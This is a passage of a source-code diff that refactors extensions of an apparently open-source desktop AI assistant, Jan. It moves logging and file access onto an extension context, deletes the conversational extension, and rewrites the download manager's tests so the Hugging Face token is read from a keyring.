(currentVersion < 2) {- logger.info('Running migration v2: Update to Menlo Research instructions')+ this.log.info('Running migration v2: Update to Menlo Research instructions')await this.migrateToMenloInstructions()await this.saveMigrationVersion(2)}if (currentVersion < 3) {- logger.info('Running migration v3: Strip identity preamble from default assistant')+ this.log.info('Running migration v3: Strip identity preamble from default assistant')await this.migrateStripIdentityPreamble()await this.saveMigrationVersion(3)}- logger.info(+ this.log.info(`Migrations complete. Current version: ${this.CURRENT_MIGRATION_VERSION}`)}@@ -101,7 +121,7 @@ export default class JanAssistantExtension extends AssistantExtension {const OLD_INSTRUCTION = 'You are a helpful AI assistant.'const NEW_INSTRUCTION = 'You are Jan, a helpful AI assistant.' // TODO: Update with new instruction- if (!(await fs.existsSync('file://assistants'))) {+ if (!(await this.fs.existsSync('file://assistants'))) {return}@@ -124,13 +144,13 @@ export default class JanAssistantExtension extends AssistantExtension {])try {- await fs.writeFileSync(+ await this.fs.writeFileSync(assistantPath,JSON.stringify(assistant, null, 2))- logger.info(`Migrated instructions for assistant: ${assistant.id}`)+ this.log.info(`Migrated instructions for assistant: ${assistant.id}`)} catch (error) {- logger.error(`Failed to migrate assistant ${assistant.id}:`, error)+ this.log.error(`Failed to migrate assistant ${assistant.id}:`, error)}}}@@ -169,7 +189,7 @@ Current date: {{current_date}}`repeat_penalty: 1.12,}- if (!(await fs.existsSync('file://assistants'))) {+ if (!(await this.fs.existsSync('file://assistants'))) {return}@@ -194,15 +214,15 @@ Current date: {{current_date}}`])try {- await fs.writeFileSync(+ await this.fs.writeFileSync(assistantPath,JSON.stringify(assistantWithParams, null, 2))- logger.info(+ this.log.info(`Migrated to Menlo instructions for assistant: ${assistant.id}`)} catch (error) {- logger.error(`Failed to migrate assistant ${assistant.id}:`, error)+ this.log.error(`Failed to migrate assistant ${assistant.id}:`, error)}}}@@ -213,7 +233,7 @@ Current date: {{current_date}}`* are still the verbatim v2 default. Leaves user-customized prompts untouched.*/private async migrateStripIdentityPreamble(): Promise<void> {- if (!(await fs.existsSync('file://assistants'))) {+ if (!(await this.fs.existsSync('file://assistants'))) {return}@@ -232,27 +252,22 @@ Current date: {{current_date}}`])try {- await fs.writeFileSync(assistantPath, JSON.stringify(assistant, null, 2))- logger.info(`Stripped identity preamble for assistant: ${assistant.id}`)+ await this.fs.writeFileSync(assistantPath, JSON.stringify(assistant, null, 2))+ this.log.info(`Stripped identity preamble for assistant: ${assistant.id}`)} catch (error) {- logger.error(`Failed to migrate assistant ${assistant.id}:`, error)+ this.log.error(`Failed to migrate assistant ${assistant.id}:`, error)}}}- /**- * Called when the extension is unloaded.- */- onUnload(): void {}-/*** Reads only the assistants persisted on disk. May be empty; callers that* need a guaranteed assistant use getAssistants (which falls back to the- * default), while onLoad uses this to decide whether to seed the default.+ * default), while prepare uses this to decide whether to seed the default.*/private async readAssistantsFromDisk(): Promise<Assistant[]> {- if (!(await fs.existsSync('file://assistants'))) return []- const assistants = await fs.readdirSync('file://assistants')+ if (!(await this.fs.existsSync('file://assistants'))) return []+ const assistants = await this.fs.readdirSync('file://assistants')const assistantsData: Assistant[] = []for (const assistant of assistants) {const assistantPath = await joinPath([@@ -260,13 +275,13 @@ Current date: {{current_date}}`assistant,'assistant.json',])- if (!(await fs.existsSync(assistantPath))) continue+ if (!(await this.fs.existsSync(assistantPath))) continuetry {- const assistantData = JSON.parse(await fs.readFileSync(assistantPath))+ const assistantData = JSON.parse(await this.fs.readFileSync(assistantPath))assistantsData.push(assistantData as Assistant)} catch (error) {- logger.error(`Failed to read assistant ${assistant}:`, error)+ this.log.error(`Failed to read assistant ${assistant}:`, error)}}return assistantsData@@ -285,10 +300,10 @@ Current date: {{current_date}}`'assistant.json',])const assistantFolder = await joinPath(['file://assistants', assistant.id])- if (!(await fs.existsSync(assistantFolder))) {- await fs.mkdir(assistantFolder)+ if (!(await this.fs.existsSync(assistantFolder))) {+ await this.fs.mkdir(assistantFolder)}- await fs.writeFileSync(assistantPath, JSON.stringify(assistant, null, 2))+ await this.fs.writeFileSync(assistantPath, JSON.stringify(assistant, null, 2))}async deleteAssistant(assistant: Assistant): Promise<void> {@@ -297,20 +312,20 @@ Current date: {{current_date}}`assistant.id,'assistant.json',])- if (await fs.existsSync(assistantPath)) {- await fs.rm(assistantPath)+ if (await this.fs.existsSync(assistantPath)) {+ await this.fs.rm(assistantPath)}}private defaultAssistant: Assistant = {- avatar: '👋',+ avatar: '\u{1F44B}',thread_location: undefined,id: 'jan',object: 'assistant',created_at: Date.now() / 1000,name: 'Jan',description:- 'Jan is a helpful desktop assistant that can reason through complex tasks and use tools to complete them on the user’s behalf.',+ 'Jan is a helpful desktop assistant that can reason through complex tasks and use tools to complete them on the user\u2019s behalf.',model: '*',instructions: `You must output your response in the exact language used in the latest user message. Do not provide translations or switch languages unless explicitly instructed to do so. If the input is mostly English, respond in English.diff --git a/extensions/assistant-extension/src/test/setup.ts b/extensions/assistant-extension/src/test/setup.tsindex 71aa0ec1e..7ceb0e6c6 100644--- a/extensions/assistant-extension/src/test/setup.ts+++ b/extensions/assistant-extension/src/test/setup.ts@@ -1,24 +1,8 @@-import { vi } from 'vitest'--// Minimal base class so the extension under test can extend it. The abstract-// members are implemented by the subclass, so an empty class suffices.-class AssistantExtension {}--vi.mock('@janhq/core', () => ({- AssistantExtension,- logger: {- debug: vi.fn(),- info: vi.fn(),- warn: vi.fn(),- error: vi.fn(),+// joinPath from @janhq/core forwards to the host API; join with '/' the way+// the virtual file:// paths in the tests are keyed.+Object.defineProperty(globalThis, 'core', {+ value: {+ api: { joinPath: async ({ args }: { args: string[] }) => args.join('/') },},- joinPath: vi.fn((parts: string[]) => parts.join('/')),- fs: {- existsSync: vi.fn(),- mkdir: vi.fn(),- readFileSync: vi.fn(),- writeFileSync: vi.fn(),- readdirSync: vi.fn(),- rm: vi.fn(),- },-}))+ writable: true,+})diff --git a/extensions/conversational-extension/package.json b/extensions/conversational-extension/package.jsondeleted file mode 100644index b702ecba3..000000000--- a/extensions/conversational-extension/package.json+++ /dev/null@@ -1,42 +0,0 @@-{- "name": "@janhq/conversational-extension",- "productName": "Conversational",- "version": "1.0.0",- "description": "Enables conversations and state persistence via your file system.",- "main": "dist/index.js",- "author": "Jan <[email protected]>",- "license": "Apache-2.0",- "scripts": {- "build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install",- "test": "vitest run"- },- "exports": {- ".": "./dist/index.js",- "./main": "./dist/module.js"- },- "devDependencies": {- "cpx": "1.5.0",- "jsdom": "^26.1.0",- "rimraf": "6.0.1",- "rolldown": "1.0.0-beta.1",- "typescript": "5.9.2",- "vitest": "3.2.7"- },- "dependencies": {- "@janhq/core": "workspace:*"- },- "engines": {- "node": ">=18.0.0"- },- "files": [- "dist/*",- "package.json",- "README.md"- ],- "bundleDependencies": [],- "installConfig": {- "hoistingLimits": "workspaces"- },- "packageManager": "[email protected]"-}diff --git a/extensions/conversational-extension/rolldown.config.mjs b/extensions/conversational-extension/rolldown.config.mjsdeleted file mode 100644index 7c4b94017..000000000--- a/extensions/conversational-extension/rolldown.config.mjs+++ /dev/null@@ -1,11 +0,0 @@-import { defineConfig } from 'rolldown'--export default defineConfig({- input: 'src/index.ts',- output: {- format: 'esm',- file: 'dist/index.js',- },- platform: 'browser',- define: {},-})diff --git a/extensions/conversational-extension/src/@types/global.d.ts b/extensions/conversational-extension/src/@types/global.d.tsdeleted file mode 100644index 840f49f45..000000000--- a/extensions/conversational-extension/src/@types/global.d.ts+++ /dev/null@@ -1,7 +0,0 @@-interface Core {- api: APIFunctions- events: EventEmitter-}-interface Window {- core?: Core | undefined-}diff --git a/extensions/conversational-extension/src/index.test.ts b/extensions/conversational-extension/src/index.test.tsdeleted file mode 100644index 0996ef255..000000000--- a/extensions/conversational-extension/src/index.test.ts+++ /dev/null@@ -1,160 +0,0 @@-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'-import JanConversationalExtension from './index'--type ApiMock = Record<string, ReturnType<typeof vi.fn>>--function makeApi(): ApiMock {- return {- listThreads: vi.fn(),- createThread: vi.fn(),- modifyThread: vi.fn(),- deleteThread: vi.fn(),- createMessage: vi.fn(),- modifyMessage: vi.fn(),- deleteMessage: vi.fn(),- listMessages: vi.fn(),- getThreadAssistant: vi.fn(),- createThreadAssistant: vi.fn(),- modifyThreadAssistant: vi.fn(),- }-}--let api: ApiMock-let ext: JanConversationalExtension--beforeEach(() => {- api = makeApi()- ;(globalThis as any).window = { core: { api } }- ext = new JanConversationalExtension()-})--afterEach(() => {- vi.clearAllMocks()-})--describe('lifecycle', () => {- it('onLoad resolves without error', async () => {- await expect(ext.onLoad()).resolves.toBeUndefined()- })-- it('onUnload returns undefined', () => {- expect(ext.onUnload()).toBeUndefined()- })-})--describe('threads', () => {- it('listThreads returns the api result', async () => {- const threads = [{ id: 't1' }, { id: 't2' }]- api.listThreads.mockResolvedValue(threads)-- await expect(ext.listThreads()).resolves.toEqual(threads)- expect(api.listThreads).toHaveBeenCalledWith()- })-- it('createThread wraps the thread in an object and returns the result', async () => {- const thread = { id: 't1', title: 'hi' } as any- api.createThread.mockResolvedValue(thread)-- await expect(ext.createThread(thread)).resolves.toBe(thread)- expect(api.createThread).toHaveBeenCalledWith({ thread })- })-- it('modifyThread forwards the thread object', async () => {- const thread = { id: 't1' } as any- api.modifyThread.mockResolvedValue(undefined)-- await expect(ext.modifyThread(thread)).resolves.toBeUndefined()- expect(api.modifyThread).toHaveBeenCalledWith({ thread })- })-- it('deleteThread forwards the threadId in an object', async () => {- api.deleteThread.mockResolvedValue(undefined)-- await ext.deleteThread('t1')- expect(api.deleteThread).toHaveBeenCalledWith({ threadId: 't1' })- })-- it('propagates a rejection from listThreads', async () => {- api.listThreads.mockRejectedValue(new Error('disk gone'))- await expect(ext.listThreads()).rejects.toThrow('disk gone')- })-})--describe('messages', () => {- it('createMessage wraps the message and returns the result', async () => {- const message = { id: 'm1', thread_id: 't1' } as any- api.createMessage.mockResolvedValue(message)-- await expect(ext.createMessage(message)).resolves.toBe(message)- expect(api.createMessage).toHaveBeenCalledWith({ message })- })-- it('modifyMessage wraps the message and returns the result', async () => {- const message = { id: 'm1' } as any- api.modifyMessage.mockResolvedValue(message)-- await expect(ext.modifyMessage(message)).resolves.toBe(message)- expect(api.modifyMessage).toHaveBeenCalledWith({ message })- })-- it('deleteMessage forwards both ids in an object', async () => {- api.deleteMessage.mockResolvedValue(undefined)-- await ext.deleteMessage('t1', 'm1')- expect(api.deleteMessage).toHaveBeenCalledWith({- threadId: 't1',- messageId: 'm1',- })- })-- it('listMessages returns messages in the order provided by the api', async () => {- const messages = [{ id: 'm1' }, { id: 'm2' }, { id: 'm3' }]- api.listMessages.mockResolvedValue(messages)-- const result = await ext.listMessages('t1')- expect(result).toEqual(messages)- expect(result.map((m: any) => m.id)).toEqual(['m1', 'm2', 'm3'])- expect(api.listMessages).toHaveBeenCalledWith({ threadId: 't1' })- })-- it('listMessages returns an empty array when the thread has no messages', async () => {- api.listMessages.mockResolvedValue([])- await expect(ext.listMessages('empty')).resolves.toEqual([])- })-})--describe('assistants', () => {- it('getThreadAssistant forwards the threadId in an object', async () => {- const assistant = { id: 'a1' }- api.getThreadAssistant.mockResolvedValue(assistant)-- await expect(ext.getThreadAssistant('t1')).resolves.toBe(assistant)- expect(api.getThreadAssistant).toHaveBeenCalledWith({ threadId: 't1' })- })-- it('createThreadAssistant wraps args in a single object matching the api contract', async () => {- const assistant = { id: 'a1' } as any- api.createThreadAssistant.mockResolvedValue(assistant)-- await expect(ext.createThreadAssistant('t1', assistant)).resolves.toBe(- assistant- )- expect(api.createThreadAssistant).toHaveBeenCalledWith({- threadId: 't1',- assistant,- })- })-- it('modifyThreadAssistant wraps both arguments in a single object', async () => {- const assistant = { id: 'a1' } as any- api.modifyThreadAssistant.mockResolvedValue(assistant)-- await expect(ext.modifyThreadAssistant('t1', assistant)).resolves.toBe(- assistant- )- expect(api.modifyThreadAssistant).toHaveBeenCalledWith({- threadId: 't1',- assistant,- })- })-})diff --git a/extensions/conversational-extension/src/index.ts b/extensions/conversational-extension/src/index.tsdeleted file mode 100644index 4186ea8cd..000000000--- a/extensions/conversational-extension/src/index.ts+++ /dev/null@@ -1,127 +0,0 @@-import {- ConversationalExtension,- Thread,- ThreadAssistantInfo,- ThreadMessage,-} from '@janhq/core'--/**- * JanConversationalExtension is a ConversationalExtension implementation that provides- * functionality for managing threads.- */-export default class JanConversationalExtension extends ConversationalExtension {- /**- * Called when the extension is loaded.- */- async onLoad() {- // no-opt- }-- /**- * Called when the extension is unloaded.- */- onUnload() {}-- /**- * Returns a Promise that resolves to an array of Conversation objects.- */- async listThreads(): Promise<Thread[]> {- return window.core.api.listThreads()- }-- /**- * Saves a Thread object to a json file.- * @param thread The Thread object to save.- */- async createThread(thread: Thread): Promise<Thread> {- return window.core.api.createThread({ thread })- }-- /**- * Saves a Thread object to a json file.- * @param thread The Thread object to save.- */- async modifyThread(thread: Thread): Promise<void> {- return window.core.api.modifyThread({ thread })- }-- /**- * Delete a thread with the specified ID.- * @param threadId The ID of the thread to delete.- */- async deleteThread(threadId: string): Promise<void> {- return window.core.api.deleteThread({ threadId })- }-- /**- * Adds a new message to a specified thread.- * @param message The ThreadMessage object to be added.- * @returns A Promise that resolves when the message has been added.- */- async createMessage(message: ThreadMessage): Promise<ThreadMessage> {- return window.core.api.createMessage({ message })- }-- /**- * Modifies a message in a thread.- * @param message- * @returns- */- async modifyMessage(message: ThreadMessage): Promise<ThreadMessage> {- return window.core.api.modifyMessage({ message })- }-- /**- * Deletes a specific message from a thread.- * @param threadId The ID of the thread containing the message.- * @param messageId The ID of the message to be deleted.- * @returns A Promise that resolves when the message has been successfully deleted.- */- async deleteMessage(threadId: string, messageId: string): Promise<void> {- return window.core.api.deleteMessage({ threadId, messageId })- }-- /**- * Retrieves all messages for a specified thread.- * @param threadId The ID of the thread to get messages from.- * @returns A Promise that resolves to an array of ThreadMessage objects.- */- async listMessages(threadId: string): Promise<ThreadMessage[]> {- return window.core.api.listMessages({ threadId })- }-- /**- * Retrieves the assistant information for a specified thread.- * @param threadId The ID of the thread for which to retrieve assistant information.- * @returns A Promise that resolves to a ThreadAssistantInfo object containing- * the details of the assistant associated with the specified thread.- */- async getThreadAssistant(threadId: string): Promise<ThreadAssistantInfo> {- return window.core.api.getThreadAssistant({ threadId })- }- /**- * Creates a new assistant for the specified thread.- * @param threadId The ID of the thread for which the assistant is being created.- * @param assistant The information about the assistant to be created.- * @returns A Promise that resolves to the newly created ThreadAssistantInfo object.- */- async createThreadAssistant(- threadId: string,- assistant: ThreadAssistantInfo- ): Promise<ThreadAssistantInfo> {- return window.core.api.createThreadAssistant({ threadId, assistant })- }-- /**- * Modifies an existing assistant for the specified thread.- * @param threadId The ID of the thread for which the assistant is being modified.- * @param assistant The updated information for the assistant.- * @returns A Promise that resolves to the updated ThreadAssistantInfo object.- */- async modifyThreadAssistant(- threadId: string,- assistant: ThreadAssistantInfo- ): Promise<ThreadAssistantInfo> {- return window.core.api.modifyThreadAssistant({ threadId, assistant })- }-}diff --git a/extensions/conversational-extension/src/test/setup.ts b/extensions/conversational-extension/src/test/setup.tsdeleted file mode 100644index b218e9b4c..000000000--- a/extensions/conversational-extension/src/test/setup.ts+++ /dev/null@@ -1,10 +0,0 @@-import { vi } from 'vitest'--// The extension delegates every method to window.core.api.*; a base class is-// the only value-level import it needs from @janhq/core (the rest are types).-vi.mock('@janhq/core', () => ({- ConversationalExtension: class {- onLoad() {}- onUnload() {}- },-}))diff --git a/extensions/conversational-extension/tsconfig.json b/extensions/conversational-extension/tsconfig.jsondeleted file mode 100644index 8427123e7..000000000--- a/extensions/conversational-extension/tsconfig.json+++ /dev/null@@ -1,15 +0,0 @@-{- "compilerOptions": {- "target": "es2016",- "module": "ES6",- "moduleResolution": "node",- "outDir": "./dist",- "esModuleInterop": true,- "forceConsistentCasingInFileNames": true,- "strict": false,- "skipLibCheck": true,- "rootDir": "./src"- },- "include": ["./src"],- "exclude": ["src/**/*.test.ts"]-}diff --git a/extensions/download-extension/package.json b/extensions/download-extension/package.jsonindex a21111e14..7c783e9d0 100644--- a/extensions/download-extension/package.json+++ b/extensions/download-extension/package.json@@ -1,15 +1,22 @@{"name": "@janhq/download-extension",- "productName": "Download Manager","version": "1.0.0","description": "Download and manage files and AI models in Jan.","main": "dist/index.js",+ "jan": {+ "id": "jan.download",+ "displayName": "Download Manager",+ "description": "Download and manage files and AI models in Jan.",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": []+ },"author": "Jan <[email protected]>","license": "Apache-2.0","scripts": {"test": "vitest run",- "build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install"+ "build": "rolldown -c rolldown.config.mjs"},"devDependencies": {"cpx": "1.5.0",@@ -26,8 +33,7 @@"README.md"],"dependencies": {- "@janhq/core": "workspace:*",- "@tauri-apps/api": "2.8.0"+ "@janhq/core": "workspace:*"},"bundleDependencies": [],"installConfig": {diff --git a/extensions/download-extension/rolldown.config.mjs b/extensions/download-extension/rolldown.config.mjsindex e9b190546..0fa617034 100644--- a/extensions/download-extension/rolldown.config.mjs+++ b/extensions/download-extension/rolldown.config.mjs@@ -1,5 +1,4 @@import { defineConfig } from 'rolldown'-import settingJson from './settings.json' with { type: 'json' }export default defineConfig({input: 'src/index.ts',@@ -8,7 +7,4 @@ export default defineConfig({file: 'dist/index.js',},platform: 'browser',- define: {- SETTINGS: JSON.stringify(settingJson),- },})diff --git a/extensions/download-extension/settings.json b/extensions/download-extension/settings.jsondeleted file mode 100644index f2f50762f..000000000--- a/extensions/download-extension/settings.json+++ /dev/null@@ -1,14 +0,0 @@-[- {- "key": "hf-token",- "title": "Hugging Face Access Token",- "description": "Access tokens programmatically authenticate your identity to the Hugging Face Hub, allowing applications to perform specific actions specified by the scope of permissions granted.",- "controllerType": "input",- "controllerProps": {- "value": "",- "placeholder": "hf_**********************************",- "type": "password",- "inputActions": ["unobscure", "copy"]- }- }-]diff --git a/extensions/download-extension/src/@types/global.d.ts b/extensions/download-extension/src/@types/global.d.tsdeleted file mode 100644index 4ff21449c..000000000--- a/extensions/download-extension/src/@types/global.d.ts+++ /dev/null@@ -1 +0,0 @@-declare const SETTINGS: SettingComponentProps[]diff --git a/extensions/download-extension/src/index.test.ts b/extensions/download-extension/src/index.test.tsindex 419df3b50..125752eee 100644--- a/extensions/download-extension/src/index.test.ts+++ b/extensions/download-extension/src/index.test.ts@@ -1,218 +1,261 @@import { beforeEach, describe, expect, it, vi } from 'vitest'-import { invoke } from '@tauri-apps/api/core'-import { listen } from '@tauri-apps/api/event'-import { logger } from '@janhq/core'-import DownloadManager, { Settings } from './index'--const mockInvoke = vi.mocked(invoke)-const mockListen = vi.mocked(listen)-const mockLoggerError = vi.mocked(logger.error)--function newManager(): DownloadManager {- // BaseExtension constructor args (name, url, active...) are irrelevant to the mock.- return new (DownloadManager as unknown as new () => DownloadManager)()+import {+ HUGGINGFACE_TOKEN_SECRET_KEY,+ ServiceKeys,+ createServiceRegistry,+ type DownloadService,+ type InternalExtensionContext,+} from '@janhq/core'+import { activate } from './index'++type Progress = { transferred: number; total: number }+type Disposable = { dispose(): void }++// The parts of DisposableStore activate uses; disposing releases everything+// the extension registered.+function subscriptions() {+ const items: Disposable[] = []+ return {+ add: <T extends Disposable>(d: T) => (items.push(d), d),+ dispose: () => items.splice(0).forEach((d) => d.dispose()),+ }}-describe('DownloadManager', () => {- let manager: DownloadManager-- beforeEach(() => {- vi.clearAllMocks()- mockListen.mockResolvedValue(() => undefined as void)- manager = newManager()- })-- describe('onLoad', () => {- it('registers settings and hydrates hfToken from persisted setting', async () => {- ;(manager.getSetting as any).mockResolvedValueOnce('secret-token')-- await manager.onLoad()-- expect(manager.registerSettings).toHaveBeenCalledWith(SETTINGS)- expect(manager.getSetting).toHaveBeenCalledWith(Settings.hfToken, undefined)- expect(manager.hfToken).toBe('secret-token')- })- })+function fakeContext(secrets: Record<string, string> = {}) {+ const log = {+ debug: vi.fn(),+ info: vi.fn(),+ warn: vi.fn(),+ error: vi.fn(),+ }+ const downloads = {+ downloadFiles: vi.fn().mockResolvedValue(undefined),+ cancelDownload: vi.fn().mockResolvedValue(undefined),+ pauseDownload: vi.fn().mockResolvedValue(undefined),+ onDownloadProgress: vi.fn().mockResolvedValue(() => undefined),+ }+ const services = createServiceRegistry()+ const ctx = {+ extension: { id: 'jan.download', version: '1.0.0', displayName: 'D' },+ subscriptions: subscriptions(),+ log,+ internal: {+ services,+ downloads,+ secrets: { get: async (key: string) => secrets[key] ?? null },+ },+ } as unknown as InternalExtensionContext+ return { ctx, log, downloads, services }+}- describe('onSettingUpdate', () => {- it('updates hfToken when the hf-token key changes', () => {- manager.onSettingUpdate(Settings.hfToken, 'new-token')- expect(manager.hfToken).toBe('new-token')- })+async function activated(secrets: Record<string, string> = {}) {+ const fake = fakeContext(secrets)+ await activate(fake.ctx)+ const service = fake.services.get(ServiceKeys.Downloads) as DownloadService+ return { ...fake, service }+}- it('ignores unrelated setting keys', () => {- manager.hfToken = 'keep'- manager.onSettingUpdate('some-other-key', 'value')- expect(manager.hfToken).toBe('keep')- })+describe('download extension', () => {+ beforeEach(() => {+ localStorage.clear()})- describe('_getHeaders', () => {- it('returns empty headers when no token is set', () => {- manager.hfToken = undefined- expect(manager._getHeaders()).toEqual({})+ describe('activate', () => {+ it('provides the Downloads service until its subscriptions are disposed', async () => {+ const { ctx, services, service } = await activated()+ expect(service).toBeDefined()+ ctx.subscriptions.dispose()+ expect(services.get(ServiceKeys.Downloads)).toBeUndefined()})- it('returns a bearer Authorization header when a token is set', () => {- manager.hfToken = 'abc123'- expect(manager._getHeaders()).toEqual({- Authorization: 'Bearer abc123',- })+ it('drops the settings the legacy extension kept in localStorage', async () => {+ localStorage.setItem('@janhq/download-extension', '[{"key":"hf-token"}]')+ localStorage.setItem('unrelated', 'kept')+ await activated()+ expect(localStorage.getItem('@janhq/download-extension')).toBeNull()+ expect(localStorage.getItem('unrelated')).toBe('kept')})})describe('downloadFiles', () => {- it('listens on the task-scoped channel and invokes download_files with items, taskId and headers', async () => {- manager.hfToken = 'tok'- mockInvoke.mockResolvedValueOnce(undefined)-+ it('sends the keyring Hugging Face token as a bearer Authorization header', async () => {+ const { service, downloads } = await activated({+ [HUGGINGFACE_TOKEN_SECRET_KEY]: 'hf_tok',+ })const items = [{ url: 'http://x/a.gguf', save_path: '/models/a.gguf' }]- await manager.downloadFiles(items, 'task-1')-- expect(mockListen).toHaveBeenCalledWith(- 'download-task-1',+ await service.downloadFiles(items, 'task-1')+ expect(downloads.onDownloadProgress).toHaveBeenCalledWith(+ 'task-1',expect.any(Function))- expect(mockInvoke).toHaveBeenCalledWith('download_files', {- items,- taskId: 'task-1',- headers: { Authorization: 'Bearer tok' },+ expect(downloads.downloadFiles).toHaveBeenCalledWith(items, 'task-1', {+ Authorization: 'Bearer hf_tok',})})- it('relays tauri progress events into the onProgress callback', async () => {- let captured: ((event: { payload: unknown }) => void) | undefined- mockListen.mockImplementationOnce(async (_name, handler) => {- captured = handler as typeof captured- return () => undefined as void- })- mockInvoke.mockResolvedValueOnce(undefined)- const onProgress = vi.fn()-- await manager.downloadFiles([], 'task-2', onProgress)-- captured?.({ payload: { transferred: 30, total: 100 } })- expect(onProgress).toHaveBeenCalledWith(30, 100)+ it('sends no Authorization header when the keyring has no token', async () => {+ const { service, downloads } = await activated()+ await service.downloadFiles([], 'task-2')+ expect(downloads.downloadFiles).toHaveBeenCalledWith([], 'task-2', {})})- it('does not throw when a progress event arrives without a callback', async () => {- let captured: ((event: { payload: unknown }) => void) | undefined- mockListen.mockImplementationOnce(async (_name, handler) => {- captured = handler as typeof captured- return () => undefined as void+ it('sends no Authorization header when the stored token is empty', async () => {+ const { service, downloads } = await activated({+ [HUGGINGFACE_TOKEN_SECRET_KEY]: '',})- mockInvoke.mockResolvedValueOnce(undefined)+ await service.downloadFiles([], 'task-3')+ expect(downloads.downloadFiles).toHaveBeenCalledWith([], 'task-3', {})+ })- await manager.downloadFiles([], 'task-3')+ it('downloads without Authorization when the keyring cannot be read', async () => {+ const fake = fakeContext()+ const err = new Error('keyring locked')+ fake.ctx.internal.secrets.get = vi.fn().mockRejectedValue(err)+ await activate(fake.ctx)+ const service = fake.services.get(ServiceKeys.Downloads) as DownloadService+ await service.downloadFiles([], 'task-3b')+ expect(fake.downloads.downloadFiles).toHaveBeenCalledWith([], 'task-3b', {})+ expect(fake.log.warn).toHaveBeenCalledWith(+ 'Could not read the Hugging Face token:',+ err+ )+ })- expect(() =>- captured?.({ payload: { transferred: 1, total: 2 } })- ).not.toThrow()+ it('reads the token at download time, so a changed token applies at once', async () => {+ const secrets: Record<string, string> = {}+ const { service, downloads } = await activated(secrets)+ secrets[HUGGINGFACE_TOKEN_SECRET_KEY] = 'hf_new'+ await service.downloadFiles([], 'task-4')+ expect(downloads.downloadFiles).toHaveBeenCalledWith([], 'task-4', {+ Authorization: 'Bearer hf_new',+ })})- it('unlistens after a successful download', async () => {- const unlisten = vi.fn()- mockListen.mockResolvedValueOnce(unlisten)- mockInvoke.mockResolvedValueOnce(undefined)+ it('relays progress events into the onProgress callback', async () => {+ const { service, downloads } = await activated()+ let captured: ((p: Progress) => void) | undefined+ downloads.onDownloadProgress.mockImplementationOnce(+ async (_taskId: string, handler: (p: Progress) => void) => {+ captured = handler+ return () => undefined+ }+ )+ const onProgress = vi.fn()+ await service.downloadFiles([], 'task-5', onProgress)+ captured?.({ transferred: 30, total: 100 })+ expect(onProgress).toHaveBeenCalledWith(30, 100)+ })- await manager.downloadFiles([], 'task-4')+ it('ignores progress events when no callback was given', async () => {+ const { service, downloads } = await activated()+ let captured: ((p: Progress) => void) | undefined+ downloads.onDownloadProgress.mockImplementationOnce(+ async (_taskId: string, handler: (p: Progress) => void) => {+ captured = handler+ return () => undefined+ }+ )+ await service.downloadFiles([], 'task-6')+ expect(() => captured?.({ transferred: 1, total: 2 })).not.toThrow()+ })- expect(unlisten).toHaveBeenCalledTimes(1)+ it('unsubscribes from progress after a successful download', async () => {+ const { service, downloads } = await activated()+ const unsubscribe = vi.fn()+ downloads.onDownloadProgress.mockResolvedValueOnce(unsubscribe)+ await service.downloadFiles([], 'task-7')+ expect(unsubscribe).toHaveBeenCalledTimes(1)})- it('logs, unlistens and rethrows when invoke fails', async () => {- const unlisten = vi.fn()- mockListen.mockResolvedValueOnce(unlisten)+ it('logs, unsubscribes and rethrows when the download fails', async () => {+ const { service, downloads, log } = await activated()+ const unsubscribe = vi.fn()+ downloads.onDownloadProgress.mockResolvedValueOnce(unsubscribe)const err = new Error('network down')- mockInvoke.mockRejectedValueOnce(err)-- await expect(manager.downloadFiles([], 'task-5')).rejects.toThrow(+ downloads.downloadFiles.mockRejectedValueOnce(err)+ await expect(service.downloadFiles([], 'task-8')).rejects.toThrow('network down')- expect(mockLoggerError).toHaveBeenCalled()- expect(unlisten).toHaveBeenCalledTimes(1)+ expect(log.error).toHaveBeenCalledWith(+ 'Error downloading task',+ 'task-8',+ err+ )+ expect(unsubscribe).toHaveBeenCalledTimes(1)})})describe('downloadFile', () => {- it('wraps a single item with proxy config and delegates to downloadFiles', async () => {- const spy = vi- .spyOn(manager, 'downloadFiles')- .mockResolvedValueOnce(undefined)+ it('downloads one item with its proxy config and relays progress', async () => {+ const { service, downloads } = await activated()+ let captured: ((p: Progress) => void) | undefined+ downloads.onDownloadProgress.mockImplementationOnce(+ async (_taskId: string, handler: (p: Progress) => void) => {+ captured = handler+ return () => undefined+ }+ )const onProgress = vi.fn()const proxy = { https: 'http://proxy:8080' }-- await manager.downloadFile(+ await service.downloadFile('http://x/b.gguf','/models/b.gguf',- 'task-6',+ 'task-9',proxy,onProgress)-- expect(spy).toHaveBeenCalledWith(+ expect(downloads.downloadFiles).toHaveBeenCalledWith([{ url: 'http://x/b.gguf', save_path: '/models/b.gguf', proxy }],- 'task-6',- onProgress+ 'task-9',+ {})+ captured?.({ transferred: 5, total: 10 })+ expect(onProgress).toHaveBeenCalledWith(5, 10)})- it('defaults proxy config to an empty object', async () => {- const spy = vi- .spyOn(manager, 'downloadFiles')- .mockResolvedValueOnce(undefined)-- await manager.downloadFile('http://x/c.gguf', '/models/c.gguf', 'task-7')-- expect(spy).toHaveBeenCalledWith(+ it('defaults the proxy config to an empty object', async () => {+ const { service, downloads } = await activated()+ await service.downloadFile('http://x/c.gguf', '/models/c.gguf', 'task-10')+ expect(downloads.downloadFiles).toHaveBeenCalledWith([{ url: 'http://x/c.gguf', save_path: '/models/c.gguf', proxy: {} }],- 'task-7',- undefined+ 'task-10',+ {})})})describe('cancelDownload', () => {- it('invokes cancel_download_task with the taskId', async () => {- mockInvoke.mockResolvedValueOnce(undefined)- await manager.cancelDownload('task-8')- expect(mockInvoke).toHaveBeenCalledWith('cancel_download_task', {- taskId: 'task-8',- })+ it('cancels the task through the host download API', async () => {+ const { service, downloads } = await activated()+ await service.cancelDownload('task-11')+ expect(downloads.cancelDownload).toHaveBeenCalledWith('task-11')})it('logs and rethrows on failure', async () => {- const err = new Error('cancel failed')- mockInvoke.mockRejectedValueOnce(err)- await expect(manager.cancelDownload('task-8')).rejects.toThrow(+ const { service, downloads, log } = await activated()+ downloads.cancelDownload.mockRejectedValueOnce(new Error('cancel failed'))+ await expect(service.cancelDownload('task-11')).rejects.toThrow('cancel failed')- expect(mockLoggerError).toHaveBeenCalled()+ 